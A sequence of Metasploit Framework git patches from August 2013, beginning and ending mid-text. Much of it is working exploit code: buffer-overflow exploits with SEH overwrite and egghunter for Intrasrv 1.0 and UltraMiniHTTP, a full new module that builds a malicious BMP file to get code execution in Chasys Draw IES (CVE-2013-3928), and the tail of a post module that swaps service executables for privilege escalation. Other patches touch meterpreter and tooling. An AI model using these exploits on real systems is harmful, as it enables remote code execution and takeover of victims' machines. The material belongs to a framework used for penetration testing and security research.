sourcemaybe.split('"')[1] - else - sourcemaybe = sourcemaybe.split(' ')[0] - end - begin - client.fs.file.stat(sourcemaybe) #check if it really exists - source = sourcemaybe - rescue - print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}") - end - #try to exploit weak file permissions - if(source != tempexe && client.railgun.kernel32.MoveFileA(source, source+'.bak')["return"]) - client.railgun.kernel32.CopyFileA(tempexe, source, false) - print_status("#{serv} has weak file permissions - #{source} moved to #{source+'.bak'} and replaced.") - moved = true - end - #try to exploit weak config permissions - #open with SERVICE_CHANGE_CONFIG (0x0002) - servhandleret = adv.OpenServiceA(manag["return"],serv,2) - if(servhandleret["return"] != 0) - #SERVICE_NO_CHANGE is 0xFFFFFFFF - if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF, - 0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil)) - print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.") - configed = true - end - adv.CloseServiceHandle(servhandleret["return"]) - - end - if(moved != true && configed != true) - print_status("No exploitable weak permissions found on #{serv}") - continue - end - print_status("Restarting #{serv}") - #open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020) - servhandleret = adv.OpenServiceA(manag["return"],serv,0x30) - if(servhandleret["return"] != 0) - #SERVICE_CONTROL_STOP = 0x00000001 - if(adv.ControlService(servhandleret["return"],1,56)) - client.railgun.kernel32.Sleep(1000) - adv.StartServiceA(servhandleret["return"],0,nil) - print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.") - #Cleanup - if moved == true - client.railgun.kernel32.MoveFileExA(source+'.bak', source, 1) - end - if configed == true - servhandleret = adv.OpenServiceA(manag["return"],serv,2) - adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF, - 0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil) - adv.CloseServiceHandle(servhandleret["return"]) - end - else - print_status("Could not restart #{serv}. Wait for a reboot or force one yourself.") - end - adv.CloseServiceHandle(servhandleret["return"]) - if datastore['AGGRESSIVE'] != true - return - end - else - print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") - end - rescue - end - end - end -end From a7ff8703b73eda76c3c3013eb2abb92f5a7320bd Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 12 Aug 2013 11:30:23 -0500 Subject: [PATCH 161/454] Remove errant return Installing a trap for "INT" is still wrong, it should be rescuing Interrupt instead. This is just a bandaid to keep it from crashing msfconsole any time ctrl-c is used after running wmap_run for the first time. --- plugins/wmap.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/plugins/wmap.rb b/plugins/wmap.rb index d215773d7d9e5..cc7217b6b4e7e 100644 --- a/plugins/wmap.rb +++ b/plugins/wmap.rb @@ -315,7 +315,6 @@ def cmd_wmap_run(*args) if self.killwhenstop rpc_kill_node('ALL','ALL') end - return } # Max numbers of concurrent jobs per node From 28f030494e3cb21b608c508bc47f59feb473c46d Mon Sep 17 00:00:00 2001 From: Nathan Einwechter Date: Mon, 12 Aug 2013 15:12:15 -0400 Subject: [PATCH 162/454] Use tcp mixin/clean corrupt bytes --- modules/exploits/windows/http/intrasrv_bof.rb | 44 +++++++++++-------- 1 file changed, 26 insertions(+), 18 deletions(-) diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb index ec77c95bd660d..020e83b122308 100644 --- a/modules/exploits/windows/http/intrasrv_bof.rb +++ b/modules/exploits/windows/http/intrasrv_bof.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking - include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::Tcp include Msf::Exploit::Egghunter def initialize(info={}) @@ -37,6 +37,7 @@ def initialize(info={}) ], 'Payload' => { + 'Space' => '4660', 'StackAdjustment' => -3500, 'BadChars' => "\x00" }, @@ -60,12 +61,16 @@ def initialize(info={}) end def check - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => "/" - }) + begin + connect + rescue + print_error("Could not connect to target!") + return Exploit::CheckCode::Safe + end + sock.put("GET / HTTP/1.0\r\n") + res = sock.get - if res and res.headers['Server'] =~ /intrasrv 1.0/ + if res =~ /intrasrv 1.0/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe @@ -75,27 +80,30 @@ def check def exploit # setup egghunter hunter,egg = generate_egghunter(payload.encoded, payload_badchars, { - :checksum => true + :checksum=>true, :eggtag=>"w00t" }) # setup buffer - buf = rand_text(target['Offset']-128) # junk to egghunter - buf << make_nops(8) + hunter # nopsled + egghunter at offset-128 + buf = rand_text(target['Offset']-126) # junk to egghunter at jmp -128 + buf << hunter # egghunter buf << rand_text(target['Offset']-buf.length) # more junk to offset buf << "\xeb\x80\x90\x90" # nseh - jmp -128 to egghunter buf << [target.ret].pack("V*") # seh # Setup payload - shellcode = rand_text(50) # pad payload - shellcode = egg + egg # attach egg tags - shellcode << payload.encoded + shellcode = egg + # second last byte of payload gets corrupted - pad 2 bytes + # so we don't corrupt the actual payload + shellcode << rand_text(2) + + msp = pattern_create(20000) print_status("Sending buffer...") - send_request_cgi({ - 'method' => 'GET', - 'uri' => "/", - 'vhost' => buf, - 'data' => shellcode - }) + # Payload location is an issue, so we're using the tcp mixin + # instead of HttpClient here to maximize control over what's sent. + # (i.e. no additional headers to mess with the stack) + connect + sock.put("GET / HTTP/1.0\r\nHost: #{buf}\r\n#{shellcode}") + disconnect end end From bbc93b2a588882e6ceaf7cc727fcab0470cb5ceb Mon Sep 17 00:00:00 2001 From: Nathan Einwechter Date: Mon, 12 Aug 2013 15:14:01 -0400 Subject: [PATCH 163/454] msftidy --- modules/exploits/windows/http/intrasrv_bof.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb index 020e83b122308..a57f9cbb61742 100644 --- a/modules/exploits/windows/http/intrasrv_bof.rb +++ b/modules/exploits/windows/http/intrasrv_bof.rb @@ -80,7 +80,7 @@ def check def exploit # setup egghunter hunter,egg = generate_egghunter(payload.encoded, payload_badchars, { - :checksum=>true, :eggtag=>"w00t" + :checksum=>true }) # setup buffer @@ -92,14 +92,12 @@ def exploit # Setup payload shellcode = egg - # second last byte of payload gets corrupted - pad 2 bytes + # second last byte of payload gets corrupted - pad 2 bytes # so we don't corrupt the actual payload shellcode << rand_text(2) - - msp = pattern_create(20000) print_status("Sending buffer...") - # Payload location is an issue, so we're using the tcp mixin + # Payload location is an issue, so we're using the tcp mixin # instead of HttpClient here to maximize control over what's sent. # (i.e. no additional headers to mess with the stack) connect From fdc9312272276e3d691e4fd04a30008b7a80e9f0 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 12 Aug 2013 16:38:15 -0400 Subject: [PATCH 164/454] Add process enumeration via PS for OSX. --- data/meterpreter/ext_server_stdapi.py | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index b3718729bb107..aa76178ce7ccb 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -450,6 +450,25 @@ def stdapi_sys_process_get_processes_via_proc(request, response): response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup) return ERROR_SUCCESS, response +def stdapi_sys_process_get_processes_via_ps(request, response): + ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command'] + proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + ps_output = proc_h.stdout.read() + ps_output = ps_output.split('\n') + ps_output.pop(0) + for process in ps_output: + process = process.split() + if len(process) < 4: + break + pgroup = '' + pgroup += tlv_pack(TLV_TYPE_PID, int(process[0])) + pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1])) + pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2]) + pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, os.path.basename(process[3])) + pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ' '.join(process[3:])) + response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup) + return ERROR_SUCCESS, response + def stdapi_sys_process_get_processes_via_windll(request, response): TH32CS_SNAPPROCESS = 2 PROCESS_QUERY_INFORMATION = 0x0400 @@ -530,6 +549,8 @@ def stdapi_sys_process_get_processes(request, response): return stdapi_sys_process_get_processes_via_proc(request, response) elif has_windll: return stdapi_sys_process_get_processes_via_windll(request, response) + else: + return stdapi_sys_process_get_processes_via_ps(request, response) return ERROR_FAILURE, response @meterpreter.register_function From 264fe32705438193dd368e6948ebacb7f04b7b3a Mon Sep 17 00:00:00 2001 From: Nathan Einwechter Date: Mon, 12 Aug 2013 18:08:49 -0400 Subject: [PATCH 165/454] Added new badchars --- modules/exploits/windows/http/ultraminihttp_bof.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/windows/http/ultraminihttp_bof.rb b/modules/exploits/windows/http/ultraminihttp_bof.rb index c56082eb6e277..99afe30bca0a0 100644 --- a/modules/exploits/windows/http/ultraminihttp_bof.rb +++ b/modules/exploits/windows/http/ultraminihttp_bof.rb @@ -11,7 +11,6 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Egghunter def initialize(info={}) super(update_info(info, @@ -38,7 +37,7 @@ def initialize(info={}) { 'Space' => 1623, 'StackAdjustment' => -3500, - 'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20" + 'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f" }, 'DefaultOptions' => { From 7014322dfd41e691ec94202aa9032bd41d4fae3d Mon Sep 17 00:00:00 2001 From: Nathan Einwechter Date: Mon, 12 Aug 2013 18:16:00 -0400 Subject: [PATCH 166/454] Code cleanup --- modules/exploits/windows/http/intrasrv_bof.rb | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb index a57f9cbb61742..ca082b2606f2d 100644 --- a/modules/exploits/windows/http/intrasrv_bof.rb +++ b/modules/exploits/windows/http/intrasrv_bof.rb @@ -58,6 +58,11 @@ def initialize(info={}) 'Privileged' => false, 'DisclosureDate' => "May 30 2013", 'DefaultTarget' => 0)) + + register_options( + [ + OptPort.new('RPORT', [true, 'The remote port', 80]) + ], self.class) end def check @@ -68,7 +73,7 @@ def check return Exploit::CheckCode::Safe end sock.put("GET / HTTP/1.0\r\n") - res = sock.get + res = sock.get_once if res =~ /intrasrv 1.0/ return Exploit::CheckCode::Vulnerable @@ -90,18 +95,16 @@ def exploit buf << "\xeb\x80\x90\x90" # nseh - jmp -128 to egghunter buf << [target.ret].pack("V*") # seh - # Setup payload - shellcode = egg - # second last byte of payload gets corrupted - pad 2 bytes + # second last byte of payload/egg gets corrupted - pad 2 bytes # so we don't corrupt the actual payload - shellcode << rand_text(2) + egg << rand_text(2) print_status("Sending buffer...") # Payload location is an issue, so we're using the tcp mixin # instead of HttpClient here to maximize control over what's sent. # (i.e. no additional headers to mess with the stack) connect - sock.put("GET / HTTP/1.0\r\nHost: #{buf}\r\n#{shellcode}") + sock.put("GET / HTTP/1.0\r\nHost: #{buf}\r\n#{egg}") disconnect end end From b3f229ff59e468fa1d292b9fd913d6ce9ae118f3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 12 Aug 2013 17:18:30 -0500 Subject: [PATCH 167/454] Add module for CVE-2013-3928 --- .../fileformat/chasys_draw_ies_bmp_bof.rb | 99 +++++++++++++++++++ 1 file changed, 99 insertions(+) create mode 100644 modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb diff --git a/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb b/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb new file mode 100644 index 0000000000000..2e5d132e8b5c8 --- /dev/null +++ b/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb @@ -0,0 +1,99 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info={}) + super(update_info(info, + 'Name' => "Chasys Draw IES Buffer Overflow", + 'Description' => %q{ + This module exploits a buffer overflow vulnerability found in Chasys Draw IES + (version 4.10.01). The vulnerability exists in the module flt_BMP.dll, while + parsing BMP files, where the ReadFile function is used to store user provided data + on the stack in a insecure way. It results in arbitrary code execution under the + context of the user viewing a specially crafted BMP file. This module has been + tested successfully with Chasys Draw IES 4.10.01 on Windows XP SP3 and Windows 7 + SP1. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Christopher Gabriel', # Vulnerability Discovery + 'Longinos Recuero Bustos', # PoC + 'Javier \'soez\'', # PoC + 'juan vazquez' # Metasploit + ], + 'References' => + [ + [ 'CVE', '2013-3928' ], + [ 'BID', '61463' ], + [ 'URL', 'http://secunia.com/advisories/53773/' ], + [ 'URL', 'http://longinox.blogspot.com/2013/08/explot-stack-based-overflow-bypassing.html' ] + ], + 'Payload' => + { + 'Space' => 21112, # Indeed there is more space available on the stack, just limited by the trigger + 'DisableNops' => true + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Chasys Draw IES 4.10.01 / Windows XP SP3 / Windows 7 SP1', + { + 'Offset' => 65536, + 'Ret' => 0x10005fd3 # jmp esp # from flt_BMP.dll v4.10.1.0 + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => "Jul 26 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [ true, 'The file name.', 'msf.bmp']), + ], self.class) + + end + + def exploit + + bof = rand_text(target['Offset']) + bof << [target.ret].pack("V") + bof << payload.encoded + + bitmap_header = "" + bitmap_header << [0x28].pack("V") # HeaderSize + bitmap_header << [0x4a3].pack("V") # Width # Used to trigger the overflow + bitmap_header << [0x1].pack("V") # Height + bitmap_header << [0x9].pack("v") # Planes # Used to trigger the overflow + bitmap_header << [0x41].pack("v") # BitCount # Used to trigger the overflow + bitmap_header << [0x0].pack("V") # Compression + bitmap_header << [bof.length].pack("V") # SizeImage + bitmap_header << [0x0].pack("V") # PelsPerMeterX + bitmap_header << [0x0].pack("V") # PelsPerMeterY + bitmap_header << [0x0].pack("V") # ClrUse + bitmap_header << [0x0].pack("V") # ClrImportant + + total_size = bof.length + bitmap_header.length + 14 # 14 => file header length + + file_header = "" + file_header << "BM" # Signature + file_header << [total_size].pack("V") # Size + file_header << [0].pack("V") # Reserved + file_header << [0x36].pack("V") # BitsOffsets + + bmp = file_header + bitmap_header + bof + file_create(bmp) + end +end + From 49bcec5c926e08d89e2e61d112d073d8dce21365 Mon Sep 17 00:00:00 2001 From: Nathan Einwechter Date: Mon, 12 Aug 2013 18:20:03 -0400 Subject: [PATCH 168/454] Additional cleanup --- modules/exploits/windows/http/intrasrv_bof.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb index ca082b2606f2d..f7896a74f5bf8 100644 --- a/modules/exploits/windows/http/intrasrv_bof.rb +++ b/modules/exploits/windows/http/intrasrv_bof.rb @@ -37,7 +37,7 @@ def initialize(info={}) ], 'Payload' => { - 'Space' => '4660', + 'Space' => 4660, 'StackAdjustment' => -3500, 'BadChars' => "\x00" }, @@ -92,7 +92,7 @@ def exploit buf = rand_text(target['Offset']-126) # junk to egghunter at jmp -128 buf << hunter # egghunter buf << rand_text(target['Offset']-buf.length) # more junk to offset - buf << "\xeb\x80\x90\x90" # nseh - jmp -128 to egghunter + buf << "\xeb\x80" + rand_text(2) # nseh - jmp -128 to egghunter buf << [target.ret].pack("V*") # seh # second last byte of payload/egg gets corrupted - pad 2 bytes From db78ffcc46283d61d38c5d05377836b9c7ad3608 Mon Sep 17 00:00:00 2001 From: Nathan Einwechter Date: Mon, 12 Aug 2013 18:21:10 -0400 Subject: [PATCH 169/454] ... --- modules/exploits/windows/http/intrasrv_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb index f7896a74f5bf8..86f9176708cb8 100644 --- a/modules/exploits/windows/http/intrasrv_bof.rb +++ b/modules/exploits/windows/http/intrasrv_bof.rb @@ -72,7 +72,7 @@ def check print_error("Could not connect to target!") return Exploit::CheckCode::Safe end - sock.put("GET / HTTP/1.0\r\n") + sock.put("GET / HTTP/1.0\r\n\r\n") res = sock.get_once if res =~ /intrasrv 1.0/ From 51d9c59dcdef605b2605d9ca9ddb3914a6ccb0a2 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 12 Aug 2013 19:13:20 -0500 Subject: [PATCH 170/454] Extra tabs, bye --- modules/exploits/windows/http/ultraminihttp_bof.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/http/ultraminihttp_bof.rb b/modules/exploits/windows/http/ultraminihttp_bof.rb index 99afe30bca0a0..ef876fe6a6aa0 100644 --- a/modules/exploits/windows/http/ultraminihttp_bof.rb +++ b/modules/exploits/windows/http/ultraminihttp_bof.rb @@ -66,8 +66,8 @@ def exploit print_status("Sending buffer...") send_request_cgi({ - 'method' => 'GET', - 'uri' => "/#{buf}" + 'method' => 'GET', + 'uri' => "/#{buf}" }) end end From e661695cfea7d0e7af6257306effe94871166482 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 12 Aug 2013 19:44:48 -0500 Subject: [PATCH 171/454] Set default target to 0 because there's only one --- modules/exploits/windows/http/ultraminihttp_bof.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/http/ultraminihttp_bof.rb b/modules/exploits/windows/http/ultraminihttp_bof.rb index ef876fe6a6aa0..4b33537283f48 100644 --- a/modules/exploits/windows/http/ultraminihttp_bof.rb +++ b/modules/exploits/windows/http/ultraminihttp_bof.rb @@ -55,8 +55,9 @@ def initialize(info={}) ] ], 'Privileged' => false, - 'DisclosureDate' => 'Jul 10 2013' - )) + 'DisclosureDate' => 'Jul 10 2013', + 'DefaultTarget' => 0 + )) end def exploit From 2d3c2c1c8706ab30da06600693a9d0cae3ad8ddc Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 12 Aug 2013 19:44:48 -0500 Subject: [PATCH 172/454] Set default target to 0 because there's only one --- modules/exploits/windows/http/ultraminihttp_bof.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/http/ultraminihttp_bof.rb b/modules/exploits/windows/http/ultraminihttp_bof.rb index ef876fe6a6aa0..4b33537283f48 100644 --- a/modules/exploits/windows/http/ultraminihttp_bof.rb +++ b/modules/exploits/windows/http/ultraminihttp_bof.rb @@ -55,8 +55,9 @@ def initialize(info={}) ] ], 'Privileged' => false, - 'DisclosureDate' => 'Jul 10 2013' - )) + 'DisclosureDate' => 'Jul 10 2013', + 'DefaultTarget' => 0 + )) end def exploit From d3a60135b87a21b9ee8bf0b88a9ab3014785db24 Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Mon, 12 Aug 2013 20:19:14 -0500 Subject: [PATCH 173/454] Add retab util to this branch --- .gitignore | 2 ++ tools/dev/retab.rb | 43 +++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 45 insertions(+) create mode 100755 tools/dev/retab.rb diff --git a/.gitignore b/.gitignore index 5cc4662fa4311..8bd096722cf6d 100644 --- a/.gitignore +++ b/.gitignore @@ -40,3 +40,5 @@ tags *.orig *.rej *~ +# Ignore backups of retabbed files +*.notab diff --git a/tools/dev/retab.rb b/tools/dev/retab.rb new file mode 100755 index 0000000000000..ff84af82da02f --- /dev/null +++ b/tools/dev/retab.rb @@ -0,0 +1,43 @@ +#!/usr/bin/env ruby +# -*- coding: binary -*- + +# Replace leading tabs with 2-width spaces. +# I'm sure there's a sed/awk/perl oneliner that's +# a million times better but this is more readable for me. + +require 'fileutils' +require 'find' + +dir = ARGV[0] || "." +raise ArgumentError, "Need a filename or directory" unless (dir and File.readable? dir) + +Find.find(dir) do |infile| + next unless File.file? infile + next unless infile =~ /rb$/ +outfile = infile +backup = "#{infile}.notab" +FileUtils.cp infile, backup + +data = File.open(infile, "rb") {|f| f.read f.stat.size} +fixed = [] +data.each_line do |line| + fixed << line + next unless line =~ /^\x09/ + index = [] + i = 0 + line.each_char do |char| + break unless char =~ /[\x20\x09]/ + index << i if char == "\x09" + i += 1 + end + index.reverse.each do |idx| + line[idx] = " " + end + fixed[-1] = line +end + +fh = File.open(outfile, "wb") +fh.write fixed.join +fh.close +puts "Retabbed #{fh.path}" +end From ebd485349f489069c898c1a895cbf65356ea6e0a Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Mon, 12 Aug 2013 20:22:02 -0500 Subject: [PATCH 174/454] Retab smart_migrate.rb module Retabs completely for PR #2212 --- modules/post/windows/manage/smart_migrate.rb | 88 ++++++++++---------- 1 file changed, 44 insertions(+), 44 deletions(-) diff --git a/modules/post/windows/manage/smart_migrate.rb b/modules/post/windows/manage/smart_migrate.rb index c020000d3d517..4d290a243c12b 100644 --- a/modules/post/windows/manage/smart_migrate.rb +++ b/modules/post/windows/manage/smart_migrate.rb @@ -10,62 +10,62 @@ class Metasploit3 < Msf::Post - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Manage Smart Process Migration', - 'Description' => %q{ This module will migrate a Meterpreter session. - It will first attempt to migrate to winlogon.exe . If that fails it will - then look at all of the explorer.exe processes. If there is one that exists - for the user context the session is already in it will try that. Failing that it will fall back - and try any other explorer.exe processes it finds}, - 'License' => MSF_LICENSE, - 'Author' => [ 'thelightcosine'], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ] - )) + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Manage Smart Process Migration', + 'Description' => %q{ This module will migrate a Meterpreter session. + It will first attempt to migrate to winlogon.exe . If that fails it will + then look at all of the explorer.exe processes. If there is one that exists + for the user context the session is already in it will try that. Failing that it will fall back + and try any other explorer.exe processes it finds}, + 'License' => MSF_LICENSE, + 'Author' => [ 'thelightcosine'], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) - end + end - def run - server = client.sys.process.open - original_pid = server.pid - print_status("Current server process: #{server.name} (#{server.pid})") + def run + server = client.sys.process.open + original_pid = server.pid + print_status("Current server process: #{server.name} (#{server.pid})") - uid = client.sys.config.getuid + uid = client.sys.config.getuid - processes = client.sys.process.get_processes + processes = client.sys.process.get_processes - uid_explorer_procs = [] - explorer_procs = [] - winlogon_procs = [] - processes.each do |proc| - uid_explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] == uid - explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] != uid - winlogon_procs << proc if proc['name'] == "winlogon.exe" - end + uid_explorer_procs = [] + explorer_procs = [] + winlogon_procs = [] + processes.each do |proc| + uid_explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] == uid + explorer_procs << proc if proc['name'] == "explorer.exe" and proc["user"] != uid + winlogon_procs << proc if proc['name'] == "winlogon.exe" + end print_status "Attempting to move into explorer.exe for current user..." - uid_explorer_procs.each { |proc| return if attempt_migration(proc['pid']) } + uid_explorer_procs.each { |proc| return if attempt_migration(proc['pid']) } print_status "Attempting to move into explorer.exe for other users..." - explorer_procs.each { |proc| return if attempt_migration(proc['pid']) } + explorer_procs.each { |proc| return if attempt_migration(proc['pid']) } print_status "Attempting to move into winlogon.exe" winlogon_procs.each { |proc| return if attempt_migration(proc['pid']) } - print_error "Was unable to sucessfully migrate into any of our likely candidates" - end + print_error "Was unable to sucessfully migrate into any of our likely candidates" + end - def attempt_migration(target_pid) - begin - print_good("Migrating to #{target_pid}") - client.core.migrate(target_pid) - print_good("Successfully migrated to process #{}") - return true - rescue ::Exception => e - print_error("Could not migrate in to process.") - print_error(e.to_s) - return false - end - end + def attempt_migration(target_pid) + begin + print_good("Migrating to #{target_pid}") + client.core.migrate(target_pid) + print_good("Successfully migrated to process #{}") + return true + rescue ::Exception => e + print_error("Could not migrate in to process.") + print_error(e.to_s) + return false + end + end end From 7981601eb81a21af9bf504bbba356685eea593b7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 12 Aug 2013 22:24:39 -0500 Subject: [PATCH 175/454] Do final cleanup on intrasrv_bof --- modules/exploits/windows/http/intrasrv_bof.rb | 32 +++++++++---------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb index 86f9176708cb8..bc0cc22a694e3 100644 --- a/modules/exploits/windows/http/intrasrv_bof.rb +++ b/modules/exploits/windows/http/intrasrv_bof.rb @@ -17,17 +17,17 @@ def initialize(info={}) super(update_info(info, 'Name' => "Intrasrv 1.0 Buffer Overflow", 'Description' => %q{ - This module exploits a boundary condition error in Intrasrv Simple Web - Server 1.0. The web interface does not validate the boundaries of an - HTTP request string prior to copying the data to an insufficiently large - buffer. Successful exploitation leads to arbitrary remote code execution - in the context of the application. + This module exploits a boundary condition error in Intrasrv Simple Web + Server 1.0. The web interface does not validate the boundaries of an + HTTP request string prior to copying the data to an insufficiently large + buffer. Successful exploitation leads to arbitrary remote code execution + in the context of the application. }, 'License' => MSF_LICENSE, 'Author' => [ - 'xis_one@STM Solutions', #Discovery, PoC - 'PsychoSpy ' #Metasploit + 'xis_one', # Discovery, PoC + 'PsychoSpy ' # Metasploit ], 'References' => [ @@ -48,7 +48,7 @@ def initialize(info={}) 'Platform' => 'win', 'Targets' => [ - ['v1.0 - XP/2003/Win7', + ['v1.0 - XP / Win7', { 'Offset' => 1553, 'Ret'=>0x004097dd #p/p/r - intrasrv.exe @@ -85,15 +85,15 @@ def check def exploit # setup egghunter hunter,egg = generate_egghunter(payload.encoded, payload_badchars, { - :checksum=>true - }) + :checksum=>true + }) # setup buffer - buf = rand_text(target['Offset']-126) # junk to egghunter at jmp -128 - buf << hunter # egghunter - buf << rand_text(target['Offset']-buf.length) # more junk to offset - buf << "\xeb\x80" + rand_text(2) # nseh - jmp -128 to egghunter - buf << [target.ret].pack("V*") # seh + buf = rand_text(target['Offset']-126) # junk to egghunter at jmp -128 + buf << hunter # egghunter + buf << rand_text(target['Offset']-buf.length) # more junk to offset + buf << "\xeb\x80" + rand_text(2) # nseh - jmp -128 to egghunter + buf << [target.ret].pack("V*") # seh # second last byte of payload/egg gets corrupted - pad 2 bytes # so we don't corrupt the actual payload @@ -104,7 +104,7 @@ def exploit # instead of HttpClient here to maximize control over what's sent. # (i.e. no additional headers to mess with the stack) connect - sock.put("GET / HTTP/1.0\r\nHost: #{buf}\r\n#{egg}") + sock.put("GET / HTTP/1.0\r\nHost: #{buf}\r\n\r\n#{egg}\r\n\r\n") disconnect end end From 568181de840f743fd63c5c12d5d6306890c5df0d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 12 Aug 2013 22:33:34 -0500 Subject: [PATCH 176/454] Add sthetic spaces --- modules/exploits/windows/http/intrasrv_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb index bc0cc22a694e3..7aeb4242099b4 100644 --- a/modules/exploits/windows/http/intrasrv_bof.rb +++ b/modules/exploits/windows/http/intrasrv_bof.rb @@ -51,7 +51,7 @@ def initialize(info={}) ['v1.0 - XP / Win7', { 'Offset' => 1553, - 'Ret'=>0x004097dd #p/p/r - intrasrv.exe + 'Ret' => 0x004097dd #p/p/r - intrasrv.exe } ] ], From bc9a26d4ee9960d24d6f1a1a111f4284e93e5302 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 12 Aug 2013 23:05:26 -0500 Subject: [PATCH 177/454] Fix condition --- .../windows/browser/mozilla_firefox_onreadystatechange.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb index 91eecd17fda60..4755b169d0c79 100644 --- a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb +++ b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb @@ -92,7 +92,7 @@ def on_request_uri(cli, request) return end - if agent !~ /Firefox\/17/ or agent !~ /Firefox\/21/ + if agent !~ /Firefox\/17/ and agent !~ /Firefox\/21/ print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return From 31cbc270fd704c7a0d42579a4a2fc39311fc59c1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 13 Aug 2013 08:46:12 -0500 Subject: [PATCH 178/454] Favor unless over if for negative condition --- .../windows/browser/mozilla_firefox_onreadystatechange.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb index 4755b169d0c79..ad18315a8da99 100644 --- 